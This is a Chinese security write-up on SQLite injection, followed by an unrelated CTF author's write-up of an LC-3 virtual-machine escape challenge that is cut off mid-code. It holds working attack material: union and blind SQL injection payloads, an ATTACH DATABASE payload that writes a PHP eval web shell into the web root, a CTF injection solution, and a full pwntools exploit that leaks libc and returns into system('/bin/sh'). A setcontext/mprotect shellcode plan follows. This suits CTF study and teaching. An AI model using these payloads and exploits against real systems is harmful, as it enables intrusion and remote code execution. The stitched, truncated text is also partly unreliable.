# sqlite注入总结 > 打iisc的初赛遇到了一道sqlite的题目，发现sqlite的注入遇到的很少，于是干脆梳理一下，总结一下。 ## sqlite基础 sqlite和mysql等还是有些区别的，sqlite的每一个数据库就是一个文件。 **创建数据库** sqlite3 test.db 这个命令执行后就会在当前目录下生成对应名称的文件，之后的数据操作都是对该文件的操作。 执行这个命令成功创建数据库文件之后，将提供一个 sqlite> 提示符。 数据库成功创建后可以使用 SQLite 的 .databases 命令来检查它是否在数据库列表中 **打开数据库** Use ".open FILENAME" to reopen on a persistent database. sqlite> .open sqltest.db **导入导出** # 导出 $sqlite3 testDB.db .dump > testDB.sql # 导入 $sqlite3 testDB.db < testDB.sql **创建表** 语句和mysql差不多 sqlite> create table test( ...> id INT PRIMARY KEY NOT NULL, ...> name char(50) NOT NULL ...> ); **查看表** .tables 命令用来列出附加数据库中的所有表。 sqlite> .tables test .schema 命令得到表的完整信息: sqlite> .schema test CREATE TABLE test( id INT PRIMARY KEY NOT NULL, name char(50) NOT NULL ); 值得注意的一点是得到的结果是我们创建表时执行的命令语句，这也是sqlite的特点，之后再说。 **插入数据** INSERT INTO 语句用于向数据库的某个表中添加新的数据行。 sqlite> insert into test (id,name) values (1,'alice'); sqlite> insert into test (id,name) values (2,'bob'); **查询语句** 使用select关键字 sqlite> select * from test; id name ---------- ---------- 1 alice 2 bob sqlite> select name from test; name ---------- alice bob 如果查询结果格式比较乱，需要设置格式化输出。 **sqlite_master** sqlite_master表中保存数据库表的关键信息。 这是sqlite_master表的结构 sqlite> .schema sqlite_master CREATE TABLE sqlite_master ( type text, name text, tbl_name text, rootpage integer, sql text ); 他保存了执行的sql语句，也是之后注入查询表名列名的关键。 从sqlite_master查表名: sqlite> select tbl_name from sqlite_master where type='table'; tbl_name ---------- test 获取表名和列名： sqlite> select sql from sqlite_master where type='table'; sql ---------------------------------------------------------------------------- CREATE TABLE test( id INT PRIMARY KEY NOT NULL, name char(50) NOT NULL ) **格式化输出** 格式化输出内容，能更直观查看命令执行结果。 sqlite>.header on sqlite>.mode column sqlite>.timer on sqlite> 还有其他的查询语法可以去查询文档。 ## sqlite注入 ### Demo代码: 数据库数据： sqlite> create table user_data( ...> id INT PRIMARY KEY NOT NULL, ...> name char(50) NOT NULL, ...> passwd cahr(50) NOT NULL); sqlite> insert into user_data (id,name,passwd) values (1,'admin','password'); sqlite> insert into user_data (id,name,passwd) values (2,'bob','wowowow'); sqlite> insert into user_data (id,name,passwd) values (3,'flag','flag{test}'); sqlite> select * from user_data; 1|admin|password 2|bob|wowowow 3|flag|flag{test} 页面： <html> <body> <form action="" method="POST"> <input type="text" name="id" size="80"> <input type="submit"> </form> </body> </html> <?php class MyDB extends SQLite3 { function __construct() { $this->open('user.db'); } } $db = new MyDB(); if(!$db){ echo $db->lastErrorMsg(); } else { echo "Opened database successfully\n</br>"; } $id = $_POST['id']; $sql =<<<EOF SELECT * from user_data where id='$id'; EOF; $ret = $db->query($sql); if($ret==FALSE){ echo "Error in fetch ".$db->lastErrorMsg(); } else{ while($row = $ret->fetchArray(SQLITE3_ASSOC) ){ echo "ID = ". $row['id'] . "</br>"; echo "NAME = ". $row['name'] ."</br>"; echo "PASS = ". $row['passwd'] ."</br>"; } var_dump($ret->fetchArray(SQLITE3_ASSOC)); } $db->close(); ?> ### union select 注入和一些查询payload 以上demo正常的功能是输入id查询数据库中数据. 测试： 正常输入查询 尝试闭合单引号： 闭合语句 使用order by确定查询字段数： 1' order by 3; 1' order by 4; 0' union select 1,2,3; #### 查版本 查版本。 0' union select 1,2,sqlite_version(); #### 表名和列名 查表名和字段。 0' union select 1,2,sql from sqlite_master; or 0' union select 1,2,sql from sqlite_master where type='table'; or 0' union select 1,2,sql from sqlite_master where type='table' and name='user_data'; 或者： 多条记录时可以使用group_concat聚合或者使用limit 0' union select 1,2,group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' -- 或者使用limit来输出一行结果 0' union select 1,2,tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 2 offset 1 -- limit后面接的数字是截取的行数，而offest后面接的数字则为第一次返回结果中的删除数。在上述查询中，limit提取了两个表名，然后第一个被offset删除掉，所以我们获得了第二个表名。 另外可以通过下面的payload获取到格式化过的列名： 0' union select 1,2,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')+1)),instr((substr(sql,instr(sql,'(')+1)),'`')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') from sqlite_master where type='table' and name='user_data' -- #### 查数据 查数据 0' union select id,name,passwd from user_data; 使用group_concat连接查询结果 0' union select 1,2,group_concat(passwd) from user_data; 当然，hex，limit，substr等也都可以在注入中用来构造语句。 ### 盲注 和其他注入差不多，列举几个注入payload： #### Bool **bool** > 没有mid、left等函数 select * from test where id =1 union select 1,length(sqlite_version())=6 sqlite> select * from test union select 1,length(sqlite_version())=6; id name ---------- ---------- 1 1 1 alice 2 bob Run Time: real 0.003 user 0.000115 sys 0.002050 sqlite> select * from test union select 1,length(sqlite_version())=5; id name ---------- ---------- 1 0 1 alice 2 bob Run Time: real 0.001 user 0.000133 sys 0.000126 select * from test where id=1 and length(sqlite_version())=5; sqlite> select * from test where id=1 and length(sqlite_version())=5; Run Time: real 0.001 user 0.000065 sys 0.000493 sqlite> select * from test where id=1 and length(sqlite_version())=6; id name ---------- ---------- 1 alice Run Time: real 0.001 user 0.000079 sys 0.000115 select * from test where id=1 and substr(sqlite_version(),1,1)='3'; sqlite> select * from test where id=1 and substr(sqlite_version(),1,1)='3'; id name ---------- ---------- 1 alice Run Time: real 0.000 user 0.000067 sys 0.000039 sqlite> select * from test where id=1 and substr(sqlite_version(),1,1)='2'; Run Time: real 0.000 user 0.000054 sys 0.000031 #### Sleep **sleep** sqlite没有sleep()函数，但是有个函数randomblob(N)，作用是返回一个 N 字节长的包含伪随机字节的 BLOG。 N 是正整数。可以用它来制造延时。 而且sqlite没有if函数，可以使用case来构造条件 select * from test where id=1 and 1=(case when(substr(sqlite_version(),1,1)='3') then randomblob(1000000000) else 0 end); sqlite> select * from test where id=1 and 1=(case when(substr(sqlite_version(),1,1)='3') then randomblob(1000000000) else 0 end); Run Time: real 6.195 user 5.804650 sys 0.329666 ## 写shell 写shell依靠sqlite的创建数据库功能。 除了前面提到的 `sqlite3 test.db` 这种方法还可以通过 `ATTACH DATABASE` 这种方法来实现。 **ATTACH** > 假设这样一种情况，当在同一时间有多个数据库可用，您想使用其中的任何一个。SQLite 的 ATTACH DATABASE > 语句是用来选择一个特定的数据库，使用该命令后，所有的 SQLite 语句将在附加的数据库下执行。 附加： attach [database] filename as database_name; 取消： attach [database] filename as database_name; 如果目标数据库存在，则会直接使用该数据库进行附加，把数据库文件名称与逻辑数据库 'database_name' 绑定在一起。如果目标不存在，则会先创建该数据库，如果数据库文件路径设置在web目录下，就可以实现写shell的功能。 要实现写shell，需要如下操作： 通过 attach 在目标目录新建一个数据库文件 => 在新数据库创建表。=> 在表中插入payload 在sqlite shell中实现如下： 但是在我的 demo 中测试时发现，并没有创建对应的文件，应该是没有成功执行attach和后面的代码。再去看了下前面的demo代码，发现查询操作使用的是 query 方法，在使用 exec 方法的时候就可以正常利用了。 payload： ';ATTACH DATABASE '/var/www/html/sqlite_test/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php @eval($_POST["x"]); ?>'); -- ## 一道题目 题目叫做SQLManager，页面简单实现了sqlite数据库的管理，实现的功能只有table的创建，展示，record的插入。 存在源码泄漏： view-source:http://eci-2zeiqyu2obvakg4ee0sx.cloudeci1.ichunqiu.com/.index.php.swp 拿到源码如下： <?php include 'util.php'; include 'config.php'; error_reporting(0); session_start(); $method = (string) ($_SERVER['REQUEST_METHOD'] ?? 'GET'); $page = (string) ($_GET['page'] ?? 'index'); if (!in_array($page, ['index', 'build', 'modify', 'remove'])) { redirect('?page=index'); } $message = $_SESSION['flash'] ?? ''; unset($_SESSION['flash']); if (in_array($page, ['modify', 'remove']) && !isset($_SESSION['database'])) { flash("Please build database first."); } if (isset($_SESSION['database'])) { $pdo = new PDO('sqlite:db/' . $_SESSION['database']); $stmt = $pdo->query("SELECT name FROM sqlite_master WHERE type='table' AND name <> '" . tableName . "' LIMIT 1;"); $tName = $stmt->fetch(PDO::FETCH_ASSOC)['name']; $stmt = $pdo->query("PRAGMA table_info(`{$tName}`);"); $cName = $stmt->fetchAll(PDO::FETCH_ASSOC); } if ($page === 'modify' && $method === 'POST') { $values = $_POST['values']; $stmt = $pdo->prepare("INSERT INTO `{$tName}` VALUES (?" . str_repeat(',?', count($cName) - 1) . ")"); $stmt->execute($values); redirect('?page=index'); } if ($page === 'build' && $method === 'POST' && !isset($_SESSION['database'])) { if (!isset($_POST['table_name']) || !isset($_POST['columns'])) { flash('Parameters missing.'); } $tName = (string) $_POST['table_name']; $ccc = $_POST['columns']; $filename = bin2hex(random_bytes(16)) . '.db'; $pdo = new PDO('sqlite:db/' . $filename); if (!filter($tName)) { flash('表不合法'); } if (strlen($tName) < 4 || 32 < strlen($tName)) { flash('表不合法'); } if (count($ccc) <= 0 || 10 < count($ccc)) { flash('列不合法'); } $sql = "CREATE TABLE {$tName} ("; $sql .= "example1 TEXT, example2 TEXT"; for ($i = 0; $i < count($ccc); $i++) { $column = (string) ($ccc[$i]['name'] ?? ''); $type = (string) ($ccc[$i]['type'] ?? ''); if (!filter($column) || !filter($type)) { flash('列不合法'); } if (strlen($column) < 1 || 32 < strlen($column) || strlen($type) < 1 || 32 < strlen($type)) { flash('列不合法'); } $sql .= ', '; $sql .= "`$column` $type"; } $sql .= ');'; $pdo->query('CREATE TABLE `' . tableName . '` (`' . columnName . '` TEXT);'); $pdo->query('INSERT INTO `' . tableName . '` VALUES ("' . ans . '");'); $pdo->query($sql); $_SESSION['database'] = $filename; redirect('?page=index'); } if ($page === 'remove') { $_SESSION = array(); session_destroy(); redirect('?page=index'); } if ($page === 'index' && isset($_SESSION['database'])) { $stmt = $pdo->query("SELECT * FROM `{$tName}`;"); if ($stmt === FALSE) { $_SESSION = array(); session_destroy(); redirect('?page=index'); } $result = $stmt->fetchAll(PDO::FETCH_NUM); } ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <link rel="stylesheet" href="style.css"> <script src="https://code.jquery.com/jquery-3.4.1.min.js" integrity="sha256-CSXorXvZcTkaix6Yvo6HppcZGetbYMGWSFlBw8HfCJo=" crossorigin="anonymous"></script> <title>SQLManager</title> </head> <body background="show.jpg"> <h1>SQLManager</h1> <?php if (!empty($message)) { ?> <div class="info">信息 <?= $message ?></div> <?php } ?> <?php if ($page === 'index') { ?> <?php if (isset($_SESSION['database'])) { ?> <h2><?= e($tName) ?> (<a href="?page=remove">删表</a>)</h2> <form action="?page=modify" method="POST"> <table> <tr> <?php for ($i = 0; $i < count($cName); $i++) { ?> <th><?= e($cName[$i]['name']) ?></th> <?php } ?> </tr> <?php for ($i = 0; $i < count($result); $i++) { ?> <tr> <?php for ($j = 0; $j < count($result[$i]); $j++) { ?> <td><?= e($result[$i][$j]) ?></td> <?php } ?> </tr> <?php } ?> <tr> <?php for ($i = 0; $i < count($cName); $i++) { ?> <td><input type="text" name="values[]"></td> <?php } ?> </tr> </table> <input type="submit" value="Insert values"> </form> <?php } else { ?> <h2>建表</h2> <form action="?page=build" method="POST"> <div id="info"> <label>表名 <input type="text" name="table_name" id="table_name" value="输入表名"></label><br> <label>列数 <input type="number" min="1" max="10" id="num" value="1"></label><br> <button id="next">Next</button> </div> <div id="table" class="hidden"> <table> <tr> <th>Name</th> <th>Type</th> </tr> <tr> <td>example1</td> <td>TEXT</td> </tr> <tr> <td>example2</td> <td>TEXT</td> </tr> </table> <input type="submit" value="Create table"> </div> </form> <script> $('#next').on('click', () => { let num = parseInt($('#num').val(), 10); let len = $('#table_name').val().length; if (4 <= len && len <= 32 && 0 < num && num <= 10) { $('#info').addClass('hidden'); $('#table').removeClass('hidden'); for (let i = 0; i < num; i++) { $('#table table').append($(` <tr> <td><input type="text" name="columns[${i}][name]"></td> <td> <select name="columns[${i}][type]"> <option value="INTEGER">INTEGER</option> <option value="REAL">REAL</option> <option value="TEXT">TEXT</option> </select> </td> </tr>`)); } } return false; }); </script> <?php } ?> <?php } ?> 有了源码，逻辑就清晰了许多，源码中有flag表创建和插入flag的操作，可以确定flag存在于数据库中，但是对于表名和flag值都是在开始包含进来的config.php里定义的。 在源码中的创建表相关代码可以发现，创建表时表名，列名，列类型可能存在SQL注入： $sql = "CREATE TABLE {$tName} ("; $sql .= "example1 TEXT, example2 TEXT"; for ($i = 0; $i < count($ccc); $i++) { $column = (string) ($ccc[$i]['name'] ?? ''); $type = (string) ($ccc[$i]['type'] ?? ''); if (!filter($column) || !filter($type)) { flash('列不合法'); } if (strlen($column) < 1 || 32 < strlen($column) || strlen($type) < 1 || 32 < strlen($type)) { flash('列不合法'); } $sql .= ', '; $sql .= "`$column` $type"; } $sql .= ');'; $pdo->query('CREATE TABLE `' . tableName . '` (`' . columnName . '` TEXT);'); $pdo->query('INSERT INTO `' . tableName . '` VALUES ("' . ans . '");'); $pdo->query($sql); 看一下最终拼接后的sql语句： CREATE TABLE {$tName} (example1 TEXT, example2 TEXT, `$column` $type); > > sqlite_master表是SQLite的系统表。该表记录该数据库中保存的表、索引、视图、和触发器信息。每一行记录一个项目。在创建一个SQLIte数据库的时候，该表会自动创建。sqlite_master表包含5列。 > > * type列记录了项目的类型，如table、index、view、trigger。 > > * name列记录了项目的名称，如表名、索引名等。 > > * tbl_name列记录所从属的表名，如索引所在的表名。对于表来说，该列就是表名本身。 > > * rootpage列记录项目在数据库页中存储的编号。对于视图和触发器，该列值为0或者NULL。 > > * sql列记录创建该项目的SQL语句。 > > > > > 那我们只有只要想办法查sqlite_master表就知道flag表和对应的字段名。结合上面的sql语句，我们可以使用这种方式： create table aa as select xxx from xxx 同时参数还经过了filter函数的处理，被检测到就显示表名非法。 那么通过表名，列名和类型三个地方传入payload，来拼接出我们想要执行的语句。 但是发现在tbname后还拼接了一些内容会造成干扰，这里可以通过 反引号 把它包裹起来，因为包裹起来的内容就成为了关键字，就相 于 `select xx as key`,看一下这个例子： 同时反引号可以使用`[]`来替代绕过过滤。 payload1: 在创建表时，表名: t AS SELECT sql [ 列名: abc 列类型: ] FROM sqlite_master; 这时的sql语句就是： CREATE TABLE t AS SELECT sql [ (example1 TEXT, example2 TEXT, abc ] FROM sqlite_master;); 等价于 CREATE TABLE t AS SELECT sql FROM sqlite_master; 得到了表名和列名，替换语句中的sql和sqlite_master 即可获得flag： payload2: t AS SELECT flag_ThE_C0lumn [ abc ]FROM flag_Y0U_c4nt_GUESS;
社区文章
这是我们队伍第一次打进全国大学生信息安全竞赛（国赛）的决赛，每个队伍要求出一道题目作为Build it环节的提交。由于这次没有把解出题目的队伍数目纳入评分标准，于是决定放开手脚搞搞新意思，用两天多点的时间出了这题。决赛的时候我们自然不会抽到自己的题目。只是看到单刷的pizza大佬凭借一题Pwn2在第一天排到第二名，心中有种预感，这Pwn2不会就是我出的这题吧？果然，赛后交流发现全场只有pizza能解的正是这题EscapeVM，心中忍不住喊一声pizza tql，下面记录一下这题的出题思路。 出题的思路源于某天刷玄武推送时候看到的一篇博客：[LC-3](https://justinmeiners.github.io/lc3-vm/), 作者用较少的代码量简单实现了一个[LC-3](https://en.wikipedia.org/wiki/LC-3)架构的虚拟机。堆题目做的太多了没啥意思，这次就跟上国际赛的热点，出一道虚拟机逃逸的题目。第一次看到类似的题目是在`SECCON2017`里面的[500_vm_no_fun](https://github.com/SECCON/SECCON2017_online_CTF/tree/master/pwn/500_vm_no_fun)，这种题目的思路基本都是通过修改原来指令集，引入越界读写漏洞，然后通过任意地址读写的能力来控制EIP，最后达成get shell的目的。 ## 漏洞 参考LC-3的[汇编文档](http://people.cs.georgetown.edu/~squier/Teaching/HardwareFundamentals/LC3-trunk/docs/LC3-AssemblyManualAndExamples.pdf)和虚拟机实现代码，列举出可以用于读写内存的指令。发现其中提供多条指令来完成读写内存，包括有`OP_LD`，`OP_ST`，`OP_LDR`，`OP_STR`，`OP_LDI`，`OP_STI`。由于LC-3是16位架构的机器，而这次编译出来的binary目标架构是32位的，若想要让攻击者获得32位地址的任意读写能力来完成虚拟机逃逸的任务，可以通过两个16位寄存器来拼凑出32位地址的方法来赋予越界读写的能力。于是对原来的虚拟机程序进行了以下修改： case OP_LDR: /* LDR */ { uint16_t r0 = (instr >> 9) & 0x7; uint16_t r1 = (instr >> 6) & 0x7; uint16_t r2 = (instr >> 3) & 0x7; int32_t addr = (reg[r1] << 16) + reg[r2]; // [BUG] OOB Read! reg[r0] = mem_read(addr); update_flags(r0); } case OP_STR: /* STR */ { uint16_t r0 = (instr >> 9) & 0x7; uint16_t r1 = (instr >> 6) & 0x7; uint16_t r2 = (instr >> 3) & 0x7; uint16_t offset = sign_extend(instr & 0x3F, 6); int32_t addr = (reg[r1] << 16) + reg[r2]; // [BUG] OOB Write! mem_write(addr, reg[r0]); } 保护方面采取全部打开的配置。 ## 利用 首先观察到程序初始化的时候用`malloc`分配出一段比较大的空间来存放虚拟机所要执行的代码，我们引入的漏洞实际上只有越界读写的能力，如果想要造成全局的任意地址读写，还需要知道分配出来`memory`的具体地址，然后通过计算偏移的方法来构造任意读写。 void init() { alarm(15); setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); print_banner(); memory = (uint16_t*) malloc(sizeof(uint16_t) * UINT16_MAX); reg = (uint16_t*) malloc(sizeof(uint16_t) * R_COUNT); } 我设计题目的时候思考了很久要通过怎样的方式给选手泄露`memory`的地址，好让选手获得任意地址读写的能力，如何才能显得不太突兀又考察到选手的水平。刚开始采取了往寄存器上藏地址的方法，但总觉得不太合适。 但是我们真的需要`memory`的地址才能完成攻击链吗？其实并不需要。用gdb调试观察内存布局就能发现以下规律：在32位的系统当中，`malloc`一个足够大的内存的时候，这块内存总是会被分配到紧挨在libc段的前面： 0x56555000 0x56557000 r-xp 2000 0 /pwn/challange/bin/release/lc3vm 0x56558000 0x56559000 r--p 1000 2000 /pwn/challange/bin/release/lc3vm 0x56559000 0x5655a000 rw-p 1000 3000 /pwn/challange/bin/release/lc3vm 0x5655a000 0x5657b000 rw-p 21000 0 [heap] 0xf7df2000 0xf7e14000 rw-p 22000 0 【memory】<------------------ 0xf7e14000 0xf7fc4000 r-xp 1b0000 0 /lib/i386-linux-gnu/libc-2.23.so【libc】 0xf7fc4000 0xf7fc6000 r--p 2000 1af000 /lib/i386-linux-gnu/libc-2.23.so 0xf7fc6000 0xf7fc7000 rw-p 1000 1b1000 /lib/i386-linux-gnu/libc-2.23.so 0xf7fc7000 0xf7fca000 rw-p 3000 0 0xf7fd3000 0xf7fd4000 rw-p 1000 0 0xf7fd4000 0xf7fd7000 r--p 3000 0 [vvar] 0xf7fd7000 0xf7fd9000 r-xp 2000 0 [vdso] 0xf7fd9000 0xf7ffc000 r-xp 23000 0 /lib/i386-linux-gnu/ld-2.23.so 0xf7ffc000 0xf7ffd000 r--p 1000 22000 /lib/i386-linux-gnu/ld-2.23.so 0xf7ffd000 0xf7ffe000 rw-p 1000 23000 /lib/i386-linux-gnu/ld-2.23.so 0xfffdd000 0xffffe000 rw-p 21000 0 [stack] 正如这里初始化分配`memory`空间的时候，`sizeof(uint16_t) * UINT16_MAX`是个足够大的size，分配的空间刚好落在libc段的前面。这就意味着虽然打开了ASLR，`memory`到libc段的距离总是不变的，我们通过固定偏移越界读写就能够对libc上面的内容进行定向读写。 明白了这点以后思路比较清晰了，首先要用计算偏移的方法从libc上读取一个libc地址，然后可以通过写hook等方式来劫持EIP。为了防止选手通过读GOT表的方式来获取libc地址，这里在读写内存的函数里还加入一个小check，读写的偏移必须为正数： void mem_write(int32_t address, uint16_t val) { if (address < 0) { exit(0); } memory[address] = val; } uint16_t mem_read(int32_t address) { if (address < 0) { exit(0); } if (address == MR_KBSR) { if (check_key()) { memory[MR_KBSR] = (1 << 15); memory[MR_KBDR] = getchar(); } else { memory[MR_KBSR] = 0; } } return memory[address]; } 有了libc上的任意读写，思路还是比较直接的。但是在32位上不能通过把`__malloc_hook`和`__free_hook`写成onegadget的方法来get shell，因为调用时候会发现无论怎么调整条件都不满足（栈上存放信息太多，无法找到一个null表项来满足onegadget的调用条件）。赛后交流的时候pizza说是直接把`__free_hook`写成`system`的方法，退出前再往`memory`写入`/bin/sh`字符串，这样在完成以下`cleanup`调用的时候就能转换为调用`system("/bin/sh")`。 void cleanup() { free(memory); free(reg); } 实际上我出题时候提供的exp用了一种更加通用一点的方法（当然也比较复杂一点），首先通过偏移读取libc上面`__IO_2_1_stdin`的指针，可以得到一个libc地址，因为libc地址和`memory`之间的距离每次都是固定的，所以也能计算出`memory`的地址，有了`memory`地址就相当于获得了任意地址读写的能力。之后可以读libc上`environ`的位置泄露出一个栈地址，并通过往退出时返回地址写rop chain的方法来完成`system（“/bin/sh”）`的调用。 具体exp如下： from pwn import * import re context.terminal = ['tmux', 'splitw', '-h'] context.arch = 'amd64' context.log_level = "debug" env = {'LD_PRELOAD': ''} libc = ELF('/lib/i386-linux-gnu/libc-2.23.so') elf = ELF('./challange/lc3vm') if len(sys.argv) == 1: p = process('./challange/lc3vm') elif len(sys.argv) == 3: p = remote(sys.argv[1], sys.argv[2]) se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) sea = lambda delim,data :p.sendafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr)) global memory def calculate_off(dst): off = dst - memory if off < 0: return (dst - memory) / 2 + 0x100000000 else: return (dst - memory) / 2 def write_primitive(addr, value): with context.local(endian='big'): code = p16(0x3000) # .ORIG 0X3000 code += p16(0x2407) # LD R2,X code += p16(0x2207) # LD R1,Y code += p16(0x2008) # LD R0,Z2 code += p16(0x708A) # STR R0, R1, #10 code += p16(0x1261) # ADD, R1, R1, #1 code += p16(0x2004) # LD, R0, Z1 code += p16(0x708A) # STR R0, R2, #10 code += p16(0xF025) # HALT code += p16(addr >> 16) code += p16(addr & 0xFFFF) code += p16(value >> 16) code += p16(value & 0xFFFF) return code def read_primitive(addr): with context.local(endian='big'): code = p16(0x3000) code += p16(0x2407) # LD R2, X code += p16(0x2207) # LD R1, Y code += p16(0x608a) # LDR R0, R2, #10 code += p16(0xF021) # OUT code += p16(0x1261) # ADD R1, R1, #1 code += p16(0x608A) # LDR R0, R2, #10 code += p16(0xF021) # OUT code += p16(0xF025) # HALT code += p16(addr >> 16) code += p16(addr & 0xFFFF) return code def leak_memory(): with context.local(endian='big'): code = p16(0x3000) code += p16(0x11e0) # ADD R0, R7, #0 code += p16(0xf021) # OUT code += p16(0x5020) # AND R0, R0, #0 code += p16(0x11a0) # ADD R0, R6, #0 code += p16(0xf021) # OUT code += p16(0xf025) # HALT return code def do_exit(): with context.local(endian='big'): code = p16(0x3000) code += p16(0xf026) # EXIT return code image = leak_memory() p.sendafter("Input: ", image) content = ru("HALT") memory = u32(content) info_addr("memory", memory) image1 = read_primitive(calculate_off(elf.got['printf'])) p.sendafter("Input: ", image1) content = ru("HALT") leak_libc = u32(content) info_addr("leak_libc", leak_libc) libc.address = leak_libc - libc.symbols['printf'] info_addr("libc", libc.address) image2 = read_primitive(calculate_off(libc.symbols['environ'])) p.sendafter("Input: ", image2) content = ru("HALT") leak_stack = u32(content) info_addr("leak_stack", leak_stack) stack_target = leak_stack - 0xa0 image3 = write_primitive(calculate_off(stack_target), libc.symbols['system']) p.sendafter("Input: ", image3) stack_target = leak_stack - 0xa0 + 8 image3 = write_primitive(calculate_off(stack_target), libc.search("/bin/sh").next()) p.sendafter("Input: ", image3) image4 = do_exit() p.sendafter("Input: ", image4) p.interactive() ## 提高难度 本着 ~~往死里出~~ 的宗旨，最后还想加一个沙盒保护来禁止execve调用，这样的话`__free_hook`写`system`的办法也行不通了。后来想着前面逆向指令集的工作都这么多了，后面就不要为难各位师傅了，于是就没加沙盒，那么如果execve调用被禁的情况可以怎么办？ 答案还是利用`setcontext`的gadget，只不过之前利用`setcontext`都是在64位，32位还比较少见，对内存的布局要求稍微要复杂一点。整体利用思路如下： 1. 通过`OP_STR` 和`OP_LDR`的漏洞构造任意读写原语 2. 观察发现malloc出来memory的地址正好位于libc段的上方 0x56555000 0x56557000 r-xp 2000 0 /pwn/challange/bin/release/lc3vm 0x56558000 0x56559000 r--p 1000 2000 /pwn/challange/bin/release/lc3vm 0x56559000 0x5655a000 rw-p 1000 3000 /pwn/challange/bin/release/lc3vm 0x5655a000 0x5657b000 rw-p 21000 0 [heap] 0xf7df2000 0xf7e14000 rw-p 22000 0 【memory】 0xf7e14000 0xf7fc4000 r-xp 1b0000 0 /lib/i386-linux-gnu/libc-2.23.so【libc】 0xf7fc4000 0xf7fc6000 r--p 2000 1af000 /lib/i386-linux-gnu/libc-2.23.so 0xf7fc6000 0xf7fc7000 rw-p 1000 1b1000 /lib/i386-linux-gnu/libc-2.23.so 0xf7fc7000 0xf7fca000 rw-p 3000 0 0xf7fd3000 0xf7fd4000 rw-p 1000 0 0xf7fd4000 0xf7fd7000 r--p 3000 0 [vvar] 0xf7fd7000 0xf7fd9000 r-xp 2000 0 [vdso] 0xf7fd9000 0xf7ffc000 r-xp 23000 0 /lib/i386-linux-gnu/ld-2.23.so 0xf7ffc000 0xf7ffd000 r--p 1000 22000 /lib/i386-linux-gnu/ld-2.23.so 0xf7ffd000 0xf7ffe000 rw-p 1000 23000 /lib/i386-linux-gnu/ld-2.23.so 0xfffdd000 0xffffe000 rw-p 21000 0 [stack] 3. 可以通过偏移读取libc上面的`_IO_2_1_stdin_`指针，然后计算出libc地址 4. 因为libc段和memory的偏移每次都是固定的，所以也可以得出memory的地址 5. 写`__free_hook`为`setcontext_gadget` 0xf7e510e7 <setcontext+39>: mov eax,DWORD PTR [esp+0x4] 0xf7e510eb <setcontext+43>: mov ecx,DWORD PTR [eax+0x60] 0xf7e510ee <setcontext+46>: fldenv [ecx] 0xf7e510f0 <setcontext+48>: mov ecx,DWORD PTR [eax+0x18] 0xf7e510f3 <setcontext+51>: mov fs,ecx 0xf7e510f5 <setcontext+53>: mov ecx,DWORD PTR [eax+0x4c] 0xf7e510f8 <setcontext+56>: mov esp,DWORD PTR [eax+0x30] 0xf7e510fb <setcontext+59>: push ecx 0xf7e510fc <setcontext+60>: mov edi,DWORD PTR [eax+0x24] 0xf7e510ff <setcontext+63>: mov esi,DWORD PTR [eax+0x28] 0xf7e51102 <setcontext+66>: mov ebp,DWORD PTR [eax+0x2c] 0xf7e51105 <setcontext+69>: mov ebx,DWORD PTR [eax+0x34] 0xf7e51108 <setcontext+72>: mov edx,DWORD PTR [eax+0x38] 0xf7e5110b <setcontext+75>: mov ecx,DWORD PTR [eax+0x3c] 0xf7e5110e <setcontext+78>: mov eax,DWORD PTR [eax+0x40] 0xf7e51111 <setcontext+81>: ret 6. 往memory上面布局好相应的参数，借助`setcontext_gadget`我们就能控制所有的寄存器，这里主要是改变esp的值， pivot到memroy段我们可以控制的地方a1 7. 在a1上布局`mprotect`的ropchain，以及shellcode。 8. 通过EXIT指令就能跳到`setcontext`，然后进行pivot到memory段mprotect解开执行权限，最后跳shellcode。 还有一个需要注意的点是LC-3这里是大端架构，所以写rop chain的时候需要做一下转换，具体exp如下： from pwn import * import re context.terminal = ['tmux', 'splitw', '-h'] context.arch = 'i386' context.log_level = "debug" env = {'LD_PRELOAD': ''} libc = ELF('/lib/i386-linux-gnu/libc-2.23.so') elf = ELF('./challange/lc3vm') if len(sys.argv) == 1: p = process('./challange/lc3vm') elif len(sys.argv) == 3: p = remote(sys.argv[1], sys.argv[2]) gdbcmd = "set $BSS=0x606020\n" # set addr variable here to easily access in gdb se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) sea = lambda delim,data :p.sendafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr)) def write_primitive(addr, value): with context.local(endian='big'): code = p16(0x3000) # .ORIG 0X3000 code += p16(0x2407) # LD R2,X code += p16(0x2207) # LD R1,Y code += p16(0x2008) # LD R0,Z2 code += p16(0x708A) # STR R0, R1, #10 code += p16(0x1261) # ADD, R1, R1, #1 code += p16(0x2004) # LD, R0, Z1 code += p16(0x708A) # STR R0, R2, #10 code += p16(0xF025) # HALT code += p16(addr >> 16) code += p16(addr & 0xFFFF) code += p16(value >> 16) code += p16(value & 0xFFFF) return code def read_primitive(addr): with context.local(endian='big'): code = p16(0x3000) code += p16(0x2407) # LD R2, X code += p16(0x2207) # LD R1, Y code += p16(0x608a) # LDR R0, R2, #10 code += p16(0xF021) # OUT code += p16(0x1261) # ADD R1, R1, #1 code += p16(0x608A) # LDR R0, R2, #10 code += p16(0xF021) # OUT code += p16(0xF025) # HALT code += p16(addr >> 16) code += p16(addr & 0xFFFF) return code def convert_addr(addr): return p16(addr & 0xffff) + p16(addr >> 16) def swap(content): if (len(content) % 2) is not 